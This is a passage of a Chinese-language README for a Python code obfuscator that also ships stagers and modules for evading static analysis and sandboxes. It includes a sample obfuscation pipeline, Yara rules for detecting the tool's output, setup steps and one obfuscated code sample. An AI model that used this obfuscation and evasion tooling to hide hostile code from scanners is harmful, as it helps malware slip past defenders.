tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)
b64decode_name = next(generator)
b85decode_name = next(generator)
string_obfuscator = StringsObfuscator(
import_b64decode=True,
import_b85decode=True,
b64decode_name=b64decode_name,
b85decode_name=b85decode_name,
)
# obfuscate strings in many different ways
tokens = string_obfuscator.obfuscate_tokens(tokens)
# for futur usage of `string_obfuscator` don't re-import base64 and 85
string_obfuscator.import_b64decode = False
string_obfuscator.import_b85decode = False
# obfuscate numbers twice in a row in many different ways
for _ in range(2):
tokens = NumberObfuscator().obfuscate_tokens(tokens)
# obfuscate builtins once again
tokens = BuiltinsObfuscator().obfuscate_tokens(tokens)
# obfuscate strings two more times
for _ in range(2):
tokens = string_obfuscator.obfuscate_tokens(tokens)
# and produce Python source code from tokens
return self._untokenize(tokens)
print(ExampleObfuscator().obfuscate(open("source.py", "r").read()))
```
在这个例子中,我们可以看到首先我们删除注释、日志、打印语句,并更改异常的内容。然后我们开始混淆常量、名称、全局变量、内置函数、字符串。然后多次混淆字符串和数字,最后我们将 token 转换回代码。
通过链接多种混淆技术,我们可以创建非常复杂和自定义的输出。
Pof 还提供规避方法,详见下文,它们对于快速简单的规避很有用,并且可以使用和定制以满足需求。
有关如何使用 pof Python API 的更多示例,请查看 [examples/](./examples) 目录。
## Yara
Yara 规则可用于检测恶意软件,也可用于在 Python 源代码中查找有趣的字符串。要根据源文件和/或混淆文件检查规则,请运行:
```
yara --no-warnings yara/python.yar file.py
```
## 开发
项目目录结构:
- `pof`:包含所有 pof 源代码。
- `pof/obfuscator`:包含混淆器。
- `pof/stager`:包含分阶段器。
- `pof/evasion`:包含规避模块。
- `pof/utils`:分阶段器、混淆器和规避模块之间的所有共享代码。
- `wip`:正在进行中的代码,最终将进入主代码库。
- `tests`:pof 的单元测试。
- `scripts`:一些用于开发或使用 pof 的有用脚本。
- `yara`:一些用于检测 pof 混淆代码的 Yara 规则。
设置开发环境:
```
python3 -m venv venv
# 激活它 (或针对您的 shell 的等效命令)
source ./venv/bin/activate
# 安装依赖
pip install -e .
pip install -e ".[dev]"
pip install -e ".[test]"
```
运行 pof CLI:
```
./pof.py --help
```
运行测试:
```
pytest
```
格式化:
```
ruff format .
```
Lint 检查:
```
ruff check .
```
测试构建包:
```
# 安装依赖
pip install -e ".[build]"
check-manifest --ignore "tests/**"
python3 -m build
python3 -m twine check dist/*
```
## Python 2
没有做出任何努力来支持 Python 2,大多数混淆器、分阶段器和规避模块应该开箱即用,但没有经过测试。
## 替代方案
其他 Python 混淆项目:
- [0x-Apollyon/Papyrus](https://github.com/0x-Apollyon/Papyrus)
- [Hnfull/Intensio-Obfuscator](https://github.com/Hnfull/Intensio-Obfuscator)
- [lepotekil/MsfMania](https://github.com/lepotekil/MsfMania)
- [billythegoat356/Hyperion](https://github.com/billythegoat356/Hyperion)
- [spyboy-productions/ObfuXtreme](https://github.com/spyboy-productions/ObfuXtreme)
- [chris-rands/emojify](https://github.com/chris-rands/emojify)
- [0sir1ss/Anubis](https://github.com/0sir1ss/Anubis)
- [0sir1ss/Carbon](https://github.com/0sir1ss/Carbon)
- [billythegoat356/Apollyon](https://github.com/billythegoat356/Apollyon)
- [billythegoat356/Berserker](https://github.com/billythegoat356/Berserker)
- [brandonasuncion/Python-Code-Obfuscator](https://github.com/brandonasuncion/Python-Code-Obfuscator)
- [CSM-BlueRed/Impostor](https://github.com/CSM-BlueRed/Impostor)
- [ImInTheICU/ExtraLayer](https://github.com/ImInTheICU/ExtraLayer)
- [root4031/pyobfuscate](https://github.com/root4031/pyobfuscate)
- [therealOri/PolyLock](https://github.com/therealOri/PolyLock)
- [FlorianREGAZ/PyObfuscator](https://github.com/FlorianREGAZ/PyObfuscator)
## TODO
- 修复 `NamesObfuscator`。
- 修复多行字符串。
- 添加选项以在开头添加 shebang,并添加自定义它的能力。
## 许可证
pof 根据 [GPLv3](./LICENSE) 授权。
相同输出格式化后:
``` from base64 import b64decode as expected_data from base64 import b85decode as _5269 globals()["".join([chr(ord(i) - 3) for i in "bbvqlwolxebb"[::-1]])].__dict__[ _5269("") .decode() .join([chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "mruhgry"])]) ]()[ _5269(""[::-1]) .decode() .join( [ globals()[ ""[::-1].join( [ chr(ord(i) - 3) for i in expected_data("YmJleGxvd2xxdmJi").decode() ] ) ].__dict__[ "".join( [chr(ord(i) - 3) for i in "".join([chr(ord(i) - 3) for i in "inx"])] ) ]( __builtins__.__dict__.__getitem__( "".join([chr(ord(i) - 3) for i in ""]).join( [chr(ord(i) - 3) for i in expected_data("cnVn").decode()] ) )(i) - ( __name__.__len__().__class__( __builtins__.__dict__.__getitem__(_5269("X>N1").decode())( "".join([chr(ord(i) - 3) for i in "3\u007b5"]), 0 ) + __builtins__.__getattribute__( "egapraeytamrofel"[::-1].replace( "egapraeytamrof"[::-1], expected_data("bg==").decode() ) )( expected_data( "".join([chr(ord(i) - 3) for i in "]j@@"]) ).decode() ) ) ) ) for i in "".join([chr(ord(i) - 3) for i in "eeh{olsy7bdgguvtyee"]).replace( _5269("X>fKlUtwfqa&r").decode(), _5269("Z+C0").decode() ) ] ) ].__dict__[ ""[::-1] .join([chr(ord(i) - 3) for i in ""[::-1]]) .join( [ globals()[ expected_data( "XordinalidWlsdGlucordinalf".replace("ordinal", "19") ).decode() ].__dict__[expected_data("yh2Y"[::-1]).decode()]( globals()[ _5269(expected_data("VXRlTiVYPjQ/OVpnWEU+").decode()).decode() ].__dict__[_5269("fold_countV".replace("fold_count", "Z*p")).decode()]( i ) - __builtins__.__getattribute__( expected_data("".join([chr(ord(i) - 3) for i in "dZ83"])).decode() )( "quaencode_7or8bits".replace("encode_7or8bit", "ntile").replace( "".join([chr(ord(i) - 3) for i in "txdqwlohv"]), "".join([chr(ord(i) - 3) for i in "6"]), ) ) ) for i in expected_data("") .decode() .join([chr(ord(i) - 3) for i in "ztoxv"[::-1]]) ] ) ]( expected_data( _5269("Q%6>FVKQQ0ad38HZFp+") .decode() .replace("pq_b2a"[::-1], "\u0062\u00478\u0073\u0049\u0048\u0064") ).decode() ) ```标签:DNS 反向解析, Python, Staged Payload, 中高交互蜜罐, 云资产清单, 代码混淆, 加密, 动态分析检测, 嗅探欺骗, 恶意软件开发, 攻击框架, 无后门, 权限维持, 模糊处理, 沙箱逃逸, 漏洞扫描器, 私有化部署, 编码, 网络调试, 自动化, 请求拦截, 载荷生成, 逆向工具, 逆向工程, 防御规避, 静态分析规避